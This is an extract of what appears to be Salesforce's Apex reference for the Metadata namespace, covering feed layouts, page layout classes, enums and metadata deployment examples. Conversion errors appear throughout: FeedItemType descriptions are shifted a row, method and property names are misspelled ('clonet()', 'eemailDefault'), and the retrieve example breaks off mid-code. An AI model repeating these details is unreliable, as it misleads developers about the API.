<tr>
<td>CanvasPost</td>
<td>Posts a canvas app makes on a feed.</td>
</tr>
<tr>
<td>CaseCommentPost</td>
<td>Activity from the Case Note action. Available only on Case layouts.</td>
</tr>
<tr>
<td>ChangeStatusPost</td>
<td>Activity from the Change Status action. Available only on Case layouts.</td>
</tr>
<tr>
<td>ChatTranscriptPost</td>
<td>Activity related to attaching Chat transcripts to cases. Available only on Case layouts.</td>
</tr>
<tr>
<td>CollaborationGroupCreated</td>
<td>Creating a public group.</td>
</tr>
<tr>
<td>Value</td>
<td>Description</td>
</tr>
<tr>
<td>-------------------------------------------</td>
<td>-------------------------------------------------------</td>
</tr>
<tr>
<td>CollaborationGroupUnarchived</td>
<td>Not used.</td>
</tr>
<tr>
<td>ContentPost</td>
<td>Attaching a file to a post.</td>
</tr>
<tr>
<td>CreateRecordEvent</td>
<td>Creating a record from the publisher.</td>
</tr>
<tr>
<td>DashboardComponentAlert</td>
<td>Not used.</td>
</tr>
<tr>
<td>DashboardComponentSnapshot</td>
<td>Posting a dashboard snapshot on a feed.</td>
</tr>
<tr>
<td>EmailMessageEvent</td>
<td>Activity from the Email action. Available only on Case layouts.</td>
</tr>
<tr>
<td>FacebookPost</td>
<td>Not used.</td>
</tr>
<tr>
<td>LinkPost</td>
<td>Attaching a URL to a post.</td>
</tr>
<tr>
<td>MilestoneEvent</td>
<td>Changing the milestone status on a case. Available only on Case layouts.</td>
</tr>
<tr>
<td>PollPost</td>
<td>Posting a poll on a feed.</td>
</tr>
<tr>
<td>ProfileSkillPost</td>
<td>Adding skills to a user’s Chatter profile.</td>
</tr>
<tr>
<td>QuestionPost</td>
<td>Posting a question on a feed.</td>
</tr>
<tr>
<td>ReplyPost</td>
<td>Activity from the Portal action. Available only on Case layouts.</td>
</tr>
<tr>
<td>RypplePost</td>
<td>Creating a Thanks badge in WDC.</td>
</tr>
<tr>
<td>SocialPost</td>
<td>Activity on Twitter from the Social Post action.</td>
</tr>
<tr>
<td>TestItem</td>
<td>Creating a text post from the publisher.</td>
</tr>
<tr>
<td>TextPost</td>
<td>Making a change or group of changes to a tracked field.</td>
</tr>
<tr>
<td>TrackedChange</td>
<td>Not used.</td>
</tr>
<tr>
<td>Undefined</td>
<td>Undefined feed item.</td>
</tr>
<tr>
<td>UserStatus</td>
<td>Not used.</td>
</tr>
</tbody>
</table>

**FeedLayout Class**

Represents the values that define the feed view of a feed-based page layout. Feed-based layouts are available on Account, Case, Contact, Lead, Opportunity, custom, and external objects. They include a feed view and a detail view.

**Namespace**

Metadata

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “FeedLayout” in the Metadata API Developer Guide.
IN THIS SECTION:

- FeedLayout Properties
- FeedLayout Methods

FeedLayout Properties

The following are properties for FeedLayout.

IN THIS SECTION:

- autocollapsePublisher
  Specifies whether the publisher is collapsed when the page loads (true) or not (false).
- compactFeed
  Specifies whether the feed-based page layout uses a compact feed (true) or not (false). If set to true, feed items on the page are collapsed by default, and the feed view has an updated design.
- feedFilterPosition
  Indicates where the feed filters list is included in the layout.
- feedFilters
  The individual filters displayed in the feed filters list.
- fullWidthFeed
  Specifies whether the feed expands horizontally to take up all available space on the page (true) or not (false).
- hideSidebar
  Specifies whether the sidebar is hidden (true) or not (false).
- highlightExternalFeedItems
  Controls whether to highlight external feed items (true) or not (false).
- leftComponents
  The individual components displayed in the left column of the feed view.
- rightComponents
  Lists the individual components displayed in the right column of the feed view.
- useInlineFiltersInConsole
  Indicates whether to use inline filters in the Salesforce console.

**autocollapsePublisher**

Specifies whether the publisher is collapsed when the page loads (true) or not (false).

**Signature**

```java
public Boolean autocollapsePublisher {get; set;}
```

**Property Value**

Type: Boolean
**compactFeed**
Specifies whether the feed-based page layout uses a compact feed (true) or not (false). If set to true, feed items on the page are collapsed by default, and the feed view has an updated design.

Signature
```
public Boolean compactFeed {get; set;}
```

Property Value
Type: Boolean

**feedFilterPosition**
Indicates where the feed filters list is included in the layout.

Signature
```
public Metadata.FeedLayoutFilterPosition feedFilterPosition {get; set;}
```

Property Value
Type: FeedLayoutFilterPosition Enum

**feedFilters**
The individual filters displayed in the feed filters list.

Signature
```
public List<Metadata.FeedLayoutFilter> feedFilters {get; set;}
```

Property Value
Type: List<FeedLayoutFilter Class>.

**fullWidthFeed**
Specifies whether the feed expands horizontally to take up all available space on the page (true) or not (false).

Signature
```
public Boolean fullWidthFeed {get; set;}
```

Property Value
Type: Boolean

**hideSidebar**
Specifies whether the sidebar is hidden (true) or not (false).
Signature

```csharp
public Boolean hideSidebar {get; set;}
```

Property Value

Type: Boolean

**highlightExternalFeedItems**
Controls whether to highlight external feed items (true) or not (false).

Signature

```csharp
public Boolean highlightExternalFeedItems {get; set;}
```

Property Value

Type: Boolean

**leftComponents**
The individual components displayed in the left column of the feed view.

Signature

```csharp
public List<Metadata.FeedLayoutComponent> leftComponents {get; set;}
```

Property Value

Type: List<FeedLayoutComponent Class>

**rightComponents**
Lists the individual components displayed in the right column of the feed view.

Signature

```csharp
public List<Metadata.FeedLayoutComponent> rightComponents {get; set;}
```

Property Value

Type: List<FeedLayoutComponent Class>

**useInlineFiltersInConsole**
Indicates whether to use inline filters in the Salesforce console.

Signature

```csharp
public Boolean useInlineFiltersInConsole {get; set;}
```
Property Value
Type: Boolean

FeedLayout Methods
The following are methods for FeedLayout.

IN THIS SECTION:

clonet()
Makes a duplicate copy of the Metadata.FeedLayout.

clone()
Makes a duplicate copy of the Metadata.FeedLayout.

Signature
public Object clone()

Return Value
Type: Object

FeedLayoutComponent Class
Represents a component in the feed view of a feed-based page layout.

Namespace
Metadata

Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “FeedLayoutComponent” in the Metadata API Developer Guide.

IN THIS SECTION:

FeedLayoutComponent Properties
FeedLayoutComponent Methods

FeedLayoutComponent Properties
The following are properties for FeedLayoutComponent.
See FeedLayoutComponent in the Metadata API Developer Guide
IN THIS SECTION:

**componentType**
Represents a component in the feed view of a feed-based page layout. The type of component is required.

**height**
The height, in pixels, of the component. Doesn’t apply to standardComponents.

**page_x**
The name of the Visualforce page used as a custom component.

---

**componentType**
Represents a component in the feed view of a feed-based page layout. The type of component is required.

Signature
```java
public Metadata.FeedLayoutComponentType componentType {get; set;}
```

Property Value
Type: `Metadata.FeedLayoutComponentType` on page 2650

**height**
The height, in pixels, of the component. Doesn’t apply to standardComponents.

Signature
```java
public Integer height {get; set;}
```

Property Value
Type: `Integer`

**page_x**
The name of the Visualforce page used as a custom component.

Signature
```java
public String page_x {get; set;}
```

Property Value
Type: `String`

---

**FeedLayoutComponent Methods**
The following are methods for FeedLayoutComponent.
IN THIS SECTION:

**clone()**
Makes a duplicate copy of the `Metadata.FeedLayoutComponent`.

**clone()**
Makes a duplicate copy of the `Metadata.FeedLayoutComponent`.

**Signature**

```java
public Object clone()
```

**Return Value**

Type: Object

**FeedLayoutComponentType Enum**
Indicates the type of feed layout component.

**Enum Values**
The following are the values of the `Metadata.FeedLayoutComponentType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CaseExperts</td>
<td>List of case experts.</td>
</tr>
<tr>
<td>CaseUnifiedFiles</td>
<td>List of all files attached to the case.</td>
</tr>
<tr>
<td>CustomButtons</td>
<td>Custom button.</td>
</tr>
<tr>
<td>CustomLinks</td>
<td>Custom link.</td>
</tr>
<tr>
<td>Followers</td>
<td>List of followers.</td>
</tr>
<tr>
<td>Following</td>
<td>Icon that toggles between a Follow button (if the user viewing a record doesn't already follow it) and a Following indicator (if the user viewing a record does follow it).</td>
</tr>
<tr>
<td>HelpAndToolLinks</td>
<td>Icons that link to the help topic for the page, the page layout, and, the printable view of the page. Available only on Case layouts.</td>
</tr>
<tr>
<td>Milestones</td>
<td>Milestone tracker, which lets users see the status of a milestone on a case. Available only on Case layouts.</td>
</tr>
<tr>
<td>SimilarCases</td>
<td>List of similar cases.</td>
</tr>
<tr>
<td>Topics</td>
<td>List of topics related to the record.</td>
</tr>
<tr>
<td>Visualforce</td>
<td>Custom Visualforce component.</td>
</tr>
</tbody>
</table>
FeedLayoutFilter Class

Represents a feed filter option in the feed view of a feed-based page layout. A filter can have only `standardFilter` or `feedItemType` set.

Namespace

Metadata

Usage

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “FeedLayoutFilter” in the Metadata API Developer Guide.

IN THIS SECTION:

- FeedLayoutFilter Properties
- FeedLayoutFilter Methods

FeedLayoutFilter Properties

The following are properties for `FeedLayoutFilter`.

IN THIS SECTION:

- `feedFilterName`
  The name of a CustomFeedFilter component. Names are prefixed with the name of the parent object. For example, `Case.MyCustomFeedFilter`.
- `feedFilterType`
  The type of filter.
- `feedItemType`
  The type of feed item to display.

`feedFilterName`

The name of a CustomFeedFilter component. Names are prefixed with the name of the parent object. For example, `Case.MyCustomFeedFilter`.

Signature

```java
public String feedFilterName {get; set;}
```

Property Value

Type: `String`

`feedFilterType`

The type of filter.
Signature
public Metadata.FeedLayoutFilterType feedFilterType {get; set;}

Property Value
Type: FeedLayoutFilterType Enum

**feedItemType**
The type of feed item to display.

Signature
public Metadata.FeedItemTypeEnum feedItemType {get; set;}

Property Value
Type: FeedItemTypeEnum Enum

**FeedLayoutFilter Methods**
The following are methods for FeedLayoutFilter.

**IN THIS SECTION:**
- clone()
  Makes a duplicate copy of the Metadata.FeedLayoutFilter.

**clone()**
Makes a duplicate copy of the Metadata.FeedLayoutFilter.

Signature
public Object clone()

Return Value
Type: Object

**FeedLayoutFilterPosition Enum**
Describes where the feed filters list is included in the layout.

**Enum Values**
The following are the values of the Metadata.FeedLayoutFilterPosition enum.
<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CenterDropDown</td>
<td>As a drop-down list in the center column.</td>
</tr>
<tr>
<td>LeftFixed</td>
<td>As a fixed list in the left column.</td>
</tr>
<tr>
<td>LeftFloat</td>
<td>As a floating list in the left column.</td>
</tr>
</tbody>
</table>

**FeedLayoutFilterType Enum**

The type of feed layout filter.

**Enum Values**

The following are the values of the `Metadata.FeedLayoutFilterType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AllUpdates</td>
<td>Shows all feed items on a record.</td>
</tr>
<tr>
<td>Custom</td>
<td>Shows custom feed items.</td>
</tr>
<tr>
<td>FeedItemType</td>
<td>Shows feed items only for a particular type of activity on the record.</td>
</tr>
</tbody>
</table>

**Layout Class**

Represents the metadata associated with a page layout.

**Namespace**

`Metadata`

**Usage**

Use this class to access layout metadata components. For more information, see `Layout` in the *Metadata API Developer Guide*.

**IN THIS SECTION:**

- Layout Properties
- Layout Methods

**Layout Properties**

The following are properties for `Layout`.

**IN THIS SECTION:**

- `customButtons`
  - The custom buttons for this layout.
customConsoleComponents
Represents custom console components (Visualforce pages, lookup fields, or related lists) on a page layout.

eemailDefault
Default value for the email checkbox. Only relevant if the showEmailCheckbox property is set.

excludeButtons
List of standard buttons to exclude from this layout.

feedLayout
Represents the values that define the feed view of a feed-based page layout.

headers
Represents the layout headers used for tagging.

layoutSections
The main sections of the layout containing fields, s-controls, and custom links. The order here determines the layout order.

miniLayout
Represents a minilayout, which is used in the mini view of a record in the Console tab, hover details, and event overlays.

multilineLayoutFields
Fields for special multiline layout fields which appear in OpportunityProduct layouts.

platformActionList
The list of actions, and their order, that display in the Salesforce mobile action bar for the layout.

quickActionList
The list of quick actions that display in the full Salesforce site for the page layout.

relatedContent
The Related Content section of the page layout.

relatedLists
The related lists for the layout, listed in the order they appear in the user interface.

relatedObjects
The list of related objects that appears in the mini view of the console.

runAssignmentRulesDefault
Default value for the “run assignment rules” checkbox. Only relevant if the showRunAssignmentRulesCheckbox property is set.

showEmailCheckbox
Controls whether to show the email checkbox. Only allowed on Case, CaseClose, and Task layouts. The default state of checkbox is controlled by the emailDefault property.

showHighlightsPanel
If set, the highlights panel displays on pages in the Salesforce console.

showInteractionLogPanel
If set, the interaction log displays on pages in the Salesforce console.

showKnowledgeComponent
Only allowed on Case layouts. If set, the Knowledge sidebar displays on cases in the Salesforce console.

showRunAssignmentRulesCheckbox
Controls whether to show the Run Assignment Rules checkbox. Only allowed on Lead and Case layouts. The default state of checkbox is controlled by the runAssignmentRulesDefault property.
showSolutionSection
Only allowed on CaseClose layout. If set, the built-in solution information section shows up on the page.

showSubmitAndAttachButton
For Cast layouts only. If set, the Submit & Add Attachment button displays on case edit pages to portal users in the Customer Portal.

summaryLayout
The summary layout for this layout.

customButtons
The custom buttons for this layout.

Signature
public List<String> customButtons {get; set;}

Property Value
Type: List<String>

customConsoleComponents
Represents custom console components (Visualforce pages, lookup fields, or related lists) on a page layout.

Signature
public Metadata.CustomConsoleComponents customConsoleComponents {get; set;}

Property Value
Type: CustomConsoleComponents Class

emailDefault
Default value for the email checkbox. Only relevant if the showEmailCheckbox property is set.

Signature
public Boolean emailDefault {get; set;}

Property Value
Type: Boolean

excludeButtons
List of standard buttons to exclude from this layout.

Signature
public List<String> excludeButtons {get; set;}
Property Value
Type: List<String>

`feedLayout`
Represents the values that define the feed view of a feed-based page layout.

Signature
```csharp
public Metadata.FeedLayout feedLayout {get; set;}
```

Property Value
Type: Metadata.FeedLayout

`headers`
Represents the layout headers used for tagging.

Signature
```csharp
public List<Metadata.LayoutHeader> headers {get; set;}
```

Property Value
Type: List<Metadata.LayoutHeader>

`layoutSections`
The main sections of the layout containing fields, s-controls, and custom links. The order here determines the layout order.

Signature
```csharp
public List<Metadata.LayoutSection> layoutSections {get; set;}
```

Property Value
Type: List<Metadata.LayoutSection>

`miniLayout`
Represents a minilayout, which is used in the mini view of a record in the Console tab, hover details, and event overlays.

Signature
```csharp
public Metadata.MiniLayout miniLayout {get; set;}
```

Property Value
Type: Metadata.MiniLayout
**multilineLayoutFields**
Fields for special multiline layout fields which appear in OpportunityProduct layouts.

Signature
```
public List<String> multilineLayoutFields {get; set;}
```

Property Value
Type: `List<String>`

**platformActionList**
The list of actions, and their order, that display in the Salesforce mobile action bar for the layout.

Signature
```
public Metadata.PlatformActionList platformActionList {get; set;}
```

Property Value
Type: `Metadata.PlatformActionList`

**quickActionList**
The list of quick actions that display in the full Salesforce site for the page layout.

Signature
```
public Metadata.QuickActionList quickActionList {get; set;}
```

Property Value
Type: `Metadata.QuickActionList`

**relatedContent**
The Related Content section of the page layout.

Signature
```
public Metadata.RelatedContent relatedContent {get; set;}
```

Property Value
Type: `Metadata.RelatedContent`

**relatedLists**
The related lists for the layout, listed in the order they appear in the user interface.
public List<Metadata.RelatedListItem> relatedLists {get; set;}

Property Value
Type: List<Metadata.RelatedListItem>

**relatedObjects**
The list of related objects that appears in the mini view of the console.

public List<String> relatedObjects {get; set;}

Property Value
Type: List<String>

**runAssignmentRulesDefault**
Default value for the “run assignment rules” checkbox. Only relevant if the showRunAssignmentRulesCheckbox property is set.

public Boolean runAssignmentRulesDefault {get; set;}

Property Value
Type: Boolean

**showEmailCheckbox**
Controls whether to show the email checkbox. Only allowed on Case, CaseClose, and Task layouts. The default state of checkbox is controlled by the emailDefault property.

public Boolean showEmailCheckbox {get; set;}

Property Value
Type: Boolean

**showHighlightsPanel**
If set, the highlights panel displays on pages in the Salesforce console.
Signature

public Boolean showHighlightsPanel {get; set;}

Property Value
Type: Boolean

**showInteractionLogPanel**
If set, the interaction log displays on pages in the Salesforce console.

Signature

public Boolean showInteractionLogPanel {get; set;}

Property Value
Type: Boolean

**showKnowledgeComponent**
Only allowed on Case layouts. If set, the Knowledge sidebar displays on cases in the Salesforce console.

Signature

public Boolean showKnowledgeComponent {get; set;}

Property Value
Type: Boolean

**showRunAssignmentRulesCheckbox**
Controls whether to show the Run Assignment Rules checkbox. Only allowed on Lead and Case layouts. The default state of checkbox is controlled by the runAssignmentRulesDefault property.

Signature

public Boolean showRunAssignmentRulesCheckbox {get; set;}

Property Value
Type: Boolean

**showSolutionSection**
Only allowed on CaseClose layout. If set, the built-in solution information section shows up on the page.

Signature

public Boolean showSolutionSection {get; set;}
**Property Value**

Type: Boolean

**showSubmitAndAttachButton**

For Cast layouts only. If set, the Submit & Add Attachment button displays on case edit pages to portal users in the Customer Portal.

**Signature**

```java
public Boolean showSubmitAndAttachButton {get; set;}
```

**Property Value**

Type: Boolean

**summaryLayout**

The summary layout for this layout.

**Signature**

```java
public Metadata.SummaryLayout summaryLayout {get; set;}
```

**Property Value**

Type: Metadata.SummaryLayout

**Layout Methods**

The following are methods for Layout.

**IN THIS SECTION:**

- **clone()**
  
  Makes a duplicate copy of the Metadata.Layout.

**clone()**

Makes a duplicate copy of the Metadata.Layout.

**Signature**

```java
public Object clone()
```

**Return Value**

Type: Object
LayoutColumn Class
Represents the items in a column within a layout section.

Namespace
Metadata

Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “LayoutColumn” in the Metadata API Developer Guide.

IN THIS SECTION:
LayoutColumn Properties
LayoutColumn Methods

LayoutColumn Properties
The following are properties for LayoutColumn.

IN THIS SECTION:
layoutItems
reserved

layoutItems
The individual items within a column (ordered from top to bottom).

reserved
This field is reserved for Salesforce.

layoutItems
The individual items within a column (ordered from top to bottom).

Signature
public List<Metadata.LayoutItem> layoutItems {get; set;}

Property Value
Type: List<Metadata.LayoutItem>

reserved
This field is reserved for Salesforce.

Signature
public String reserved {get; set;}
Property Value
Type: String

**LayoutColumn Methods**
The following are methods for LayoutColumn.

**IN THIS SECTION:**

`clone()` 
Makes a duplicate copy of the Metadata.LayoutColumn.

`clone()` 
Makes a duplicate copy of the Metadata.LayoutColumn.

**Signature**
```
public Object clone()
```

**Return Value**
Type: Object

**LayoutHeader Enum**
Represents tagging types used for Metadata.Layout.headers

**Enum Values**
The following are the values of the Metadata.LayoutHeader enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PersonalTagging</td>
<td>Tag is set to private user.</td>
</tr>
<tr>
<td>PublicTagging</td>
<td>Tag is viewable to any user who can access the record.</td>
</tr>
</tbody>
</table>

**LayoutItem Class**
Represents the valid values that define a layout item.

**Namespace**
Metadata

**Usage**
Use this class when accessing Metadata.Layout metadata components. For more information, see “LayoutItem” in the Metadata API Developer Guide.
IN THIS SECTION:
  LayoutItem Properties
  LayoutItem Methods

LayoutItem Properties
The following are properties for LayoutItem.

IN THIS SECTION:
  analyticsCloudComponent
  A Wave Analytics dashboard component on a page.
  behavior
  Determines the field behavior.
  canvas
  References a canvas app.
  component
  References a component.
  customLink
  The custom link reference.
  emptySpace
  Controls if this layout item is a blank space.
  field
  The field name reference, relative to the layout, for example “Description” or “MyField__c”.
  height
  For s-controls and pages only, the height in pixels.
  page_x
  Reference to a Visualforce page.
  reportChartComponent
  Refers to a report chart that you can add to a standard or custom object page.
  scontrol
  Reference to an s-control.
  showLabel
  For s-control and pages only, whether to show the label.
  showScrollbars
  For s-control and pages only, whether to show scrollbars.
  width
  For s-control and pages only, the width in pixels or percent. Pixel values are simply the number of pixels, for example, 500. Percentage values must include the percent sign, for example, 20%.

analyticsCloudComponent
A Wave Analytics dashboard component on a page.
Signature

public Metadata.AnalyticsCloudComponentLayoutItem analyticsCloudComponent {get; set;}

Property Value
Type: Metadata.AnalyticsCloudComponentLayoutItem

**behavior**
Determines the field behavior.

Signature

public Metadata.UiBehavior behavior {get; set;}

Property Value
Type: Metadata.UiBehavior

**canvas**
References a canvas app.

Signature

public String canvas {get; set;}

Property Value
Type: String

**component**
References a component.

Signature

public String component {get; set;}

Property Value
Type: String

**customLink**
The custom link reference.

Signature

public String customLink {get; set;}
**emptySpace**
Controls if this layout item is a blank space.

Signature
```java
public Boolean emptySpace {get; set;}
```

**field**
The field name reference, relative to the layout, for example “Description” or “MyField__c”.

Signature
```java
public String field {get; set;}
```

**height**
For s-controls and pages only, the height in pixels.

Signature
```java
public Integer height {get; set;}
```

**page_x**
Reference to a Visualforce page.

Signature
```java
public String page_x {get; set;}
```

**emptySpace**
Controls if this layout item is a blank space.

**field**
The field name reference, relative to the layout, for example “Description” or “MyField__c”.

**height**
For s-controls and pages only, the height in pixels.

**page_x**
Reference to a Visualforce page.
**reportChartComponent**
Refers to a report chart that you can add to a standard or custom object page.

Signature
```csharp
public Metadata.ReportChartComponentLayoutItem reportChartComponent {get; set;}
```

Property Value
Type: `Metadata.ReportChartComponentLayoutItem`

**scontrol**
Reference to an s-control.

Signature
```csharp
public String scontrol {get; set;}
```

Property Value
Type: `String`

**showLabel**
For s-control and pages only, whether to show the label.

Signature
```csharp
public Boolean showLabel {get; set;}
```

Property Value
Type: `Boolean`

**showScrollbars**
For s-control and pages only, whether to show scrollbars.

Signature
```csharp
public Boolean showScrollbars {get; set;}
```

Property Value
Type: `Boolean`

**width**
For s-control and pages only, the width in pixels or percent. Pixel values are simply the number of pixels, for example, 500. Percentage values must include the percent sign, for example, 20%.
Signature

```java
public String width {get; set;}
```

Property Value

Type: String

**LayoutItem Methods**

The following are methods for `LayoutItem`.

**IN THIS SECTION:**

- `clone()`
  
  Makes a duplicate copy of the `Metadata.LayoutItem`.

- `clone()`
  
  Makes a duplicate copy of the `Metadata.LayoutItem`.

Signature

```java
public Object clone()
```

Return Value

Type: Object

**LayoutSection Class**

Represents a section of a page layout, such as the Custom Links section.

**Namespace**

`Metadata`

**Usage**

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “LayoutSection” in the Metadata API Developer Guide.

**IN THIS SECTION:**

- LayoutSection Properties
- LayoutSection Methods

**LayoutSection Properties**

The following are properties for `LayoutSection`. 
IN THIS SECTION:

customLabel
Indicates if this section's label is custom or standard (built-in).
detailHeading
Controls if this section appears in the detail page.
editHeading
Controls if this section appears in the edit page.
label
The label; either standard or custom, based on the customLabel property.
layoutColumns
Lists the layout columns. You can have one, two, or three columns, ordered left to right, are possible.
style
The style of the layout for this section.

customLabel
Indicates if this section's label is custom or standard (built-in).

Signature

public Boolean customLabel {get; set;}

Property Value
Type: Boolean

detailHeading
Controls if this section appears in the detail page.

Signature

public Boolean detailHeading {get; set;}

Property Value
Type: Boolean

editHeading
Controls if this section appears in the edit page.

Signature

public Boolean editHeading {get; set;}

Property Value
Type: Boolean

**label**
The label; either standard or custom, based on the customLabel property.

Signature
public String label {get; set;}

Property Value
Type: String

**layoutColumns**
Lists the layout columns. You can have one, two, or three columns, ordered left to right, are possible.

Signature
public List<Metadata.LayoutColumn> layoutColumns {get; set;}

Property Value
Type: List<Metadata.LayoutColumn>

**style**
The style of the layout for this section.

Signature
public Metadata.LayoutSectionStyle style {get; set;}

Property Value
Type: Metadata.LayoutSectionStyle

**LayoutSection Methods**
The following are methods for LayoutSection.

IN THIS SECTION:

- **clone()**
  Makes a duplicate copy of the Metadata.LayoutSection.

- **clone()**
  Makes a duplicate copy of the Metadata.LayoutSection.
Signature

```java
public Object clone()
```

Return Value
Type: Object

**LayoutSectionStyle Enum**

Describes the possible styles for a layout section.

**Enum Values**
The following are the values of the `Metadata.LayoutSectionStyle` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CustomLinks</td>
<td>Contains custom links only</td>
</tr>
<tr>
<td>OneColumn</td>
<td>One column</td>
</tr>
<tr>
<td>TwoColumnsLeftToRight</td>
<td>Two columns, tab goes left to right</td>
</tr>
<tr>
<td>TwoColumnsTopToBottom</td>
<td>Two columns, tab goes top to bottom</td>
</tr>
</tbody>
</table>

**Metadata Class**

An abstract base class that represents a custom metadata component.

**Namespace**

`Metadata`

**Usage**

You can't create instances of this abstract class. Instead, create an instance of a specific custom metadata component class that derives from `Metadata.Metadata`, such as `Metadata.CustomMetadata`. For more information, see `Metadata` in the `Metadata API Developer Guide`.

IN THIS SECTION:
- Metadata Properties
- Metadata Methods

**Metadata Properties**
The following are properties for `Metadata`. 
IN THIS SECTION:

**fullName**
The full name of the custom metadata, which can include the namespace, type, and component name.

**fullName**
The full name of the custom metadata, which can include the namespace, type, and component name.

**Signature**
```java
public String fullName {get; set;}
```

**Property Value**

**Type:** String

The format of the full name can include the namespace, metadata type, and metadata component name. If you're updating components in a namespace, you also need to qualify the namespace for the component in the full name. For example, the full name for a custom metadata "MDType1__mdt" component named "Component1" that is contained in the "myPackage" namespace is "myPackage__MDType1__mdt.myPackage__Component1". For more information on full name formats for different metadata types, see reference documentation on the metadata types in the Metadata API Developer Guide.

**Metadata Methods**
The following are methods for `Metadata`.

IN THIS SECTION:

**clone()**
Makes a duplicate copy of the `Metadata.Metadata`.

**Signature**
```java
public Object clone()
```

**Return Value**

**Type:** Object

**MetadataType Enum**

Represents the custom metadata components available in Apex.

**Enum Values**

The following are the values of the `Metadata.MetadataType` enum.
<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CustomMetadata</td>
<td>Records of custom metadata types</td>
</tr>
<tr>
<td>Layout</td>
<td>Layouts</td>
</tr>
</tbody>
</table>

**MetadataValue Class**

An abstract base class that represents a custom metadata component field.

**Namespace**

Metadata

**Usage**

You can’t create instances of this abstract class. Instead, create an instance of a specific custom metadata component value class that derives from `Metadata.MetadataValue`, such as `Metadata.CustomMetadataValue`.

**IN THIS SECTION:**

MetadataValue Methods

**MetadataValue Methods**

The following are methods for MetadataValue.

**IN THIS SECTION:**

clone()

Makes a duplicate copy of the `Metadata.MetadataValue`.

```java
public Object clone()
```

**Return Value**

Type: Object

**MiniLayout Class**

Represents a mini view of a record in the Console tab, hover details, and event overlays.
Namespace

Metadata

Usage

Use this class when accessing `Metadata.Layout` metadata components. For more information, see “MiniLayout” in the `Metadata API Developer Guide`.

IN THIS SECTION:

- MiniLayout Properties
- MiniLayout Methods

MiniLayout Properties

The following are properties for `MiniLayout`.

IN THIS SECTION:

- fields
- relatedLists

fields

The fields for the mini-layout, listed in the order they appear in the UI. Fields that appear in the mini-layout must appear in the main layout.

relatedLists

The mini related lists, listed in the order they appear in the UI. You cannot set sorting on mini related lists. Fields that appear in the mini related lists must appear in the main layout.

fields

The fields for the mini-layout, listed in the order they appear in the UI. Fields that appear in the mini-layout must appear in the main layout.

Signature

```java
public List<String> fields {get; set;}
```

Property Value

Type: `List<String>`

relatedLists

The mini related lists, listed in the order they appear in the UI. You cannot set sorting on mini related lists. Fields that appear in the mini related lists must appear in the main layout.

Signature

```java
public List<Metadata.RelatedListItem> relatedLists {get; set;}
```
Property Value
Type: List<Metadata.RelatedListItem>

MiniLayout Methods
The following are methods for MiniLayout.

IN THIS SECTION:

```
cloned()
```
Makes a duplicate copy of the Metadata.MiniLayout.

```
cloned()
```
Makes a duplicate copy of the Metadata.MiniLayout.

Signature
```
public Object clone()
```

Return Value
Type: Object

Operations Class
Represents a class to execute metadata operations, such as retrieving or deploying custom metadata.

Namespace
Metadata

Usage
Use the Metadata.Operations class to execute metadata operations. For more information on use cases and restrictions of metadata operations in Apex, see Metadata.

Example: Retrieve Metadata
The following example retrieves the “MyTestCustomMDType” custom metadata record from the subscriber org, and inspects the custom fields.

```
public class ReadMetadata {
    public void retrieveMetadata () {
        // List fullnames of components we want to retrieve
        List<String> componentNamesList = new List<String>{'ISVName__TestCustomMDType.MyTestCustomMDType'};

        // Retrieve components that are records of custom metadata types
        // based on name
        List<Metadata.Metadata> components = Metadata.Operations.retrieve(
```
Example: Deploy Metadata

The following example uses the Metadata API in Apex to update the customField custom field value of the MetadataRecordName custom metadata record and deploy this change into the subscriber org. Because the deployment is asynchronous, you must provide a callback class that implements the Metadata.DeployCallback interface, which is then used when the queued deployment completes.

```apex
public class CreateMetadata{
    public void updateAndDeployMetadata() {
        // Setup custom metadata to be created in the subscriber org.
        Metadata.CustomMetadata customMetadata = new Metadata.CustomMetadata();
        customMetadata.fullName = 'ISVNamespace__MetadataTypeName.MetadataRecordName';

        Metadata.CustomMetadataValue customField = new Metadata.CustomMetadataValue();
        customField.field = 'customField__c';
        customField.value = 'New value';

        customMetadata.values.add(customField);

        Metadata.DeployContainer mdContainer = new Metadata.DeployContainer();
        mdContainer.addMetadata(customMetadata);

        // Setup deploy callback, MyDeployCallback implements
        // the Metadata.DeployCallback interface (code for
        // this class not shown in this example)
        MyDeployCallback callback = new MyDeployCallback();

        // Enqueue custom metadata deployment
        Id jobId = Metadata.Operations.enqueueDeployment(mdContainer, callback);
    }
}
```

Example: Create Two Metadata Records Synchronously

Create a metadata record along with another one that references it in the same transaction. If the parent record was installed with a namespace, prefix the developer name with `recordNs__`. 
public class CreateMetadata {
    public Id doCreate(
        String parentRecDevName,
        String parentRecLabel,
        String childRecDevName,
        String childRecLabel) {
        Metadata.DeployContainer mdContainer = new Metadata.DeployContainer();
        Metadata.CustomMetadata parentRecord = new Metadata.CustomMetadata();
        parentRecord.fullName = 'ParentType.' + parentRecDevName;
        parentRecord.label = parentRecLabel;
        mdContainer.addMetadata(parentRecord);
        Metadata.CustomMetadata childRecord = new Metadata.CustomMetadata();
        childRecord.fullName = 'ChildType.' + childRecDevName;
        childRecord.label = childRecLabel;
        Metadata.CustomMetadataValue relValue = new Metadata.CustomMetadataValue();
        relValue.field = 'Parent__c';
        relValue.value = parentRecDevName;
        childRecord.values.add(relValue);
        mdContainer.addMetadata(childRecord);
        Id jobId = Metadata.Operations.enqueueDeployment(mdContainer, null);
        return jobId;
    }
}

IN THIS SECTION:

Operations Methods

The following are methods for Operations.

IN THIS SECTION:

    clone()
    enqueueDeployment(container, callback)
    Deploys custom metadata components asynchronously.
    retrieve(type, fullNames)
    Retrieves a list of custom metadata components.
clone()

Signature

```java
public Object clone()
```

Return Value
Type: Object

enqueueDeployment(container, callback)

Deploys custom metadata components asynchronously.

Signature

```java
